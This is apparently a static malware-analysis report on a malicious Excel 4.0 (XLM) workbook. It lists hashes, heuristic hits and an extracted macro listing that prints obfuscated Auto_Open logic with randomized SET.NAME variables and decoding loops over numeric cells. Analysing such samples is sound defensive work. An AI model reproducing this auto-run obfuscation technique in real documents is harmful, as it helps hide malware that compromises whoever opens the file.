Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57a846306760b09f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:34 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: fcd8dc775677403e763561c6e06a75ab SHA-1: 3f7f5f63f579572cceaf88b9195abe4b1101245d SHA-256: 57a846306760b09f855b42d4ed9881cc203ad29e9467302d5834b400afe6bebb
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6762 bytes
SHA-256: f106723d29119b35d67603214d85eea2338c4c8ba6565146aedd5cb92310207d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 37 identifiers look randomly generated (e.g. 'Oboigxxkhskd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  omRztaSp
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D128 
' 0018     25 LABEL : Cell Value, String Constant - AwyXApQdqR len=0 
' 0018     26 LABEL : Cell Value, String Constant - BCALbssqApD len=0 
' 0018     25 LABEL : Cell Value, String Constant - DVbEhVjsIN len=0 
' 0018     23 LABEL : Cell Value, String Constant - eJlmQhVl len=0 
' 0018     26 LABEL : Cell Value, String Constant - FjoznnPTRWw len=0 
' 0018     26 LABEL : Cell Value, String Constant - fyuQdYwbqzW len=0 
' 0018     23 LABEL : Cell Value, String Constant - GfliaZhP len=0 
' 0018     26 LABEL : Cell Value, String Constant - kCRSaxannmm len=0 
' 0018     25 LABEL : Cell Value, String Constant - lSFyUewEBT len=0 
' 0018     20 LABEL : Cell Value, String Constant - MJHpF len=0 
' 0018     24 LABEL : Cell Value, String Constant - NJzpNmdXz len=0 
' 0018     27 LABEL : Cell Value, String Constant - Oboigxxkhskd len=0 
' 0018     21 LABEL : Cell Value, String Constant - rayjPc len=0 
' 0018     20 LABEL : Cell Value, String Constant - RHOtM len=0 
' 0018     21 LABEL : Cell Value, String Constant - TqyGSq len=0 
' 0018     25 LABEL : Cell Value, String Constant - vtVaEnOOmm len=0 
' 0018     23 LABEL : Cell Value, String Constant - VVWRucWr len=0 
' 0018     20 LABEL : Cell Value, String Constant - wvCle len=0 
' 0018     23 LABEL : Cell Value, String Constant - XzFiVTmP len=0 
' 0018     27 LABEL : Cell Value, String Constant - zZPFRplhIYca len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  omRztaSp,D43,"SET.NAME("BCALbssqApD",0+VALUE("0"))",""
'  omRztaSp,D45,"SET.NAME("AwyXApQdqR",BCALbssqApD)",""
'  omRztaSp,S45,"",340.00000000000000000000
'  omRztaSp,S46,"",-359.00000000000000000000
'  omRztaSp,S47,"",649.00000000000000000000
'  omRztaSp,D48,"SET.NAME("RHOtM",BCALbssqApD)",""
'  omRztaSp,S48,"",-311.00000000000000000000
'  omRztaSp,S49,"",226.00000000000000000000
'  omRztaSp,S50,"",-242.00000000000000000000
'  omRztaSp,D53,"SET.NAME("kCRSaxannmm",COUNTA(eJlmQhVl))",""
'  omRztaSp,D56,"SET.NAME("XzFiVTmP",COUNTA(vtVaEnOOmm))",""
'  omRztaSp,D59,[],""
'  omRztaSp,D63,"SET.NAME("wvCle","")",""
'  omRztaSp,D65,"AwyXApQdqR",""
'  omRztaSp,D70,"SET.NAME("GfliaZhP",HLOOKUP("*",eJlmQhVl,AwyXApQdqR,FALSE))",""
'  omRztaSp,D72,"DVbEhVjsIN",""
'  omRztaSp,D74,"SET.NAME("rayjPc",BCALbssqApD)",""
'  omRztaSp,D78,[],""
'  omRztaSp,D80,"rayjPc",""
'  omRztaSp,D82,"zZPFRplhIYca",""
'  omRztaSp,D85,"lSFyUewEBT",""
'  omRztaSp,D88,"Oboigxxkhskd",""
'  omRztaSp,D92,"SET.NAME("MJHpF",VALUE(HLOOKUP("*",vtVaEnOOmm,Oboigxxkhskd,FALSE)))",""
'  omRztaSp,D96,"NJzpNmdXz",""
'  omRztaSp,D100,"wvCle",""
'  omRztaSp,D105,"RHOtM",""
'  omRztaSp,D107,NEXT(),""
'  omRztaSp,D112,"TqyGSq",""
'  omRztaSp,D116,[],""
'  omRztaSp,D119,"VVWRucWr",""
'  omRztaSp,D121,NEXT(),""
'  omRztaSp,D126,RETURN(),""
'  omRztaSp,D152,"SET.NAME("fyuQdYwbqzW",D43)",""
'  omRztaSp,D156,"eJlmQhVl",""
'  omRztaSp,D159,"SET.NAME("vtVaEnOOmm",R86C15)",""
'  omRztaSp,D163,"SET.NAME("VVWRucWr",172)",""
'  omRztaSp,D167,"SET.NAME("FjoznnPTRWw",4)",""
'  omRztaSp,D171,fyuQdYwbqzW(),""
'  omRztaSp,D172,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.